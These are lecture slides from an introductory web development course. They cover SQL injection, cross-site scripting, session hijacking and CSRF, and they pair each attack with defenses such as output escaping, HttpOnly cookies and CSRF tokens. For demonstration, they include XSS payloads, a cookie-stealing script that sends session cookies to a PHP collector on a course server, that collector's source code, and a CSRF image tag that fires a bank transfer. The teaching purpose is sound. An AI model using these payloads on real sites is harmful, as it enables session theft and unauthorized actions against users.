Web Security: Common Exploits and Best PracticesMarissa SchmidtCS401: Intro to Web Development

Common ExploitsAttacks and Defenses

Overview

● SQL Injection● Cross-Site Scripting (XSS)● Session Hijacking● Cross-Site Request Forgery

SQL InjectionWe already talked about this.How can we prevent it?

● Prepared statements● Limiting DB permissions● Encrypting/Hashing data

Cross-Site Scripting (XSS)

Code injectionThe insertion of program code into an unexpected or undesired place in an application.

Cross-site scripting (XSS)The act of inserting malicious code into a web page to be viewed by others; which is a specific method of code injection.

Cross-Site Scripting (XSS)Typically involve the insertion of malicious HTML or JavaScript code via form submission on a website, which causes the code to appear on the form’s response page.

Popularity: In 2007, Symantec estimated that 84% of all web-based attacks were XSS attacks. (still one of most popular in 2015)

XSS TypesNon-persistent (or “reflected”)

Code injections that cause the server-side scripts to “temporary” display results for and to that user on the affected page.○ Typically the most common and least damaging.

Persistent (or “stored”)Code injections that cause attack data to be stored on the server and “permanently” display results to all web users visiting the affected pages.○ Typically less common and most damaging.

XSS ExamplesShow XSS attack examples.

<script>alert(‘yodle’);</script>

<script>document.body.style.display = "none";</script>

<script>alert(document.cookie)</script>

<script>var node=document.createElement('div');node.innerHTML='<h1 style="color:green;">Hulk Smash</h1>';document.getElementById('message-filter').appendChild(node);</script>

XSS Defense

If the HTML form submission data is not properly validated and sanitized, then vulnerabilities exist and thus XSS attacks become possible!

In PHP, use:htmlspecialcharshtmlentities

Session HijackingThe Session Hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the Web Server.

https://www.owasp.org/index.php/Session_hijacking_attack

Session Hijacking AttacksWays a session token could be compromised.● Predictable session token● Session Sniffing● XSS (we will demo this)● Man-in-the-middle attack

Sessing Hijacking & XSS ExampleVersion 1:<script>document.location.replace("http://webdev01.boisestate.edu/CS401-resources/php/sessions/hijacking/steal.php?cookie=" + document.cookie);</script>Version 2 (better):<script>if( document.cookie.indexOf("stolen") < 0) { document.cookie = "stolen=true";

document.location.replace("http://webdev01.boisestate.edu/CS401-resources/php/sessions/hijacking/steal.php?cookie=" + document.cookie + "&userAgent=" + navigator.userAgent);}</script>

Sessing Hijacking & XSS Example

Contents of steal.php<?phpif(isset($_GET) && isset($_GET['cookie'])) { $fp = fopen('stolen.csv', 'a'); fputcsv($fp, $_GET);

$location = $_SERVER['HTTP_REFERER']; header("Location: $location");}?>

After getting cookie, load PHPSESSID cookie into your own browser using JavaScript console.document.cookie=”PHPSESSID=aj7g7tio1cidk4f8uqfmcf7481”

Session Hijacking Prevention

● Use HTTPS to encrypt data sent across network

● Don’t allow XSS to occur in the first place!● Configure session cookies to use

○ HTTPOnly (session.cookie_httponly = 1)○ Secure (session.cookie_secure = 1)○ Set session timeout

● Could validate data other than session id

HTTPSHTTPS (or “HTTP over SSL” or “HTTP over TLS”): ● A communications protocol for secure communication over a computer

network or the Internet.● Is the result of simply layering the HTTP on top of either secure sockets

layer (SSL) or transport layer security (TLS), where TLS is the successor to SSL.

● Provides authentication of the website and server that the client is communicating with.

● Protects the privacy and integrity of the exchanged data against man-in-the-middle attacks.

HTTPS

HTTPSLook at a few certificates:https://www.firsttechfed.com/https://my.boisestate.edu/pages/default.aspx

https://letsencrypt.org/

Cross-Site Request ForgeryAlso known as a one-click attack or session riding and abbreviated as CSRF or XSRF.

Unauthorized commands are transmitted from a user that the website trusts.

Attack works by including a link or script in a page that accesses a site to which the user is known (or is supposed) to have been authenticated.

Cross-Site Request Forgery (CSRF)Example 15.35 from textbook: Web page with malicious CSRF image embedded

<html>...<!-- If the victim visits this page and has a session with mybank.com, then the attacker wins --><img src=”http://mybank.com/transfer.php?amount=123.45&recipientID=42” alt=”pwned” width=”1” height=”1” />...</body></html>

CSRF Defense - Partial PreventionHelpful, but only partial prevention methods:● Check the HTTP referrer header that is sent on each

request made to the server. (i.e. in PHP use the global variable $_SERVER[“HTTP_REFERER”].)

● Limit session time for inactivity.

CSRF Defense - Reliable PreventionEnsure that the only page that can legally originate a request to the “transfer.php” page is a “pre-transfer.php” page.

Each time the pre-transfer.php page is fetched, perform the following steps:

CSRF Defense - Reliable Prevention1. Generate a unique “token” value that is difficult to guess (i.e. the hash of

a random number).

2. Temporarily store the token in the user’s session data as a session variable.

3. Embed the token inside this user’s copy of pre-transfer.php as a hidden form input value to be sent to the server when the user initiates their transfer.

4. Once the HTTP request arrives at transfer.php, check the query parameters sent to verify that the token in the request matches the one saved in the user’s session.

CSRF Defense - Reliable Prevention● The token only exists across this one form submission

and then is discarded. ● The token isn’t known by the browser unless it is actually

viewing pre-transfer.php, so the attacker has no way to find the token and thus can’t use it to trick the browser.

CSRF Defense - Reliable PreventionExample 15.36 from textbook: PHP code for pre-transfer.php with unique ID token

<?php$token = md5(uniqid(rand(), TRUE));$_SESSION[“token”] = $token;

?><form action=”transfer.php” method=”post”>...

<input type=”hidden” name=”token” value=”<?= $token ?>” /><input type=”submit” value=”Make Transfer” />

</form>

CSRF Defense - Reliable PreventionThe md5(text) computes and returns a cryptographic hash of the given string using the MD5 algorithm (this is from the book. What might we use instead? SHA512).

The uniqid(prefix, moreUnique) returns a semi-unique ID string that is a function of the prefix and the current time. If moreUnique is TRUE, then the resulting IDs is more unique.

CSRF Defense - Reliable PreventionExample 15.37 from textbook: PHP code for transfer.php to check ID token<?phpif(!isset($_POST[“token”]) || !isset($_SESSION[“token”]) ||

$_POST[“token”] !== $_SESSION[“token”]) {# form POST does not contain proper ID token; invalidate # request(your actual error message would likely be more# verbose than this)print “Error: Your session is invalid. Transfer not performed.”;die();

} # continued on next slide...

CSRF Defense - Reliable Prevention

# continued from previous slide.else {

unset($_SESSION[“token”]); # discard temporary token# process form; make transfer ....

}?>

Top 10 attacks 2013

https://www.owasp.org/index.php/Top_10_2013-Top_10

Rules for Secure CodingBorrowed from: Innocent Code. A security wake-up call for web programmers.

Sverre H. Huseby

Rules for secure coding (1)

Do not underestimate the power of the dark side.

Use POST requests when actions have side effects.

In a server-side context, there is no such thing as client-side security.

Rules for secure coding (2)

Never use the Referer header for authentication or authorization.

Always generate a new session ID once the user logs in.

Never pass detailed error messages to the client.

Rules for secure coding (3)

Always handle metacharacters when passing data to subsystems. (e.g. ’ ; \ --)

When possible, pass data separate from control information. (e.g. prepared statements)

Strive for “Defense in Depth”. (e.g. prepared statements AND restricting database access)

Rules for secure coding (4)

Don’t blindly trust the API documentation.

Identify all sources of input to the application. (e.g. hidden fields, cookies, radio buttons)

Pay attention to the invisible security barrier: validate all input, always.

Rules for secure coding (5)

When filtering, use whitelisting rather than blacklisting.

Do not massage input to make it valid.

Create application-level logs.

Rules for secure coding (6)

Never use client-side scripts for security.

Pass as little internal state information as possible to the client. (e.g. use sessions instead of cookies)

Do not assume that requests will come in a certain order. (e.g. log in, then view hidden page)

Rules for secure coding (7)

Filter all data before including them in a web page, no matter the origin. (e.g. input files)

Stick to existing cryptographic algorithms, do not create your own. (even if you are really smart)

Never store clear-text passwords. (hash them. preferably with SHA and salt)

Rules for secure coding (8)

Never use GET for secret data, including session IDs.

Assume that server-side code is available to hackers. (move includes outside of web hierarchy, deny file types, don’t list directories without index.html)

Security is not a product; it’s a process. (don’t tack it on at the end)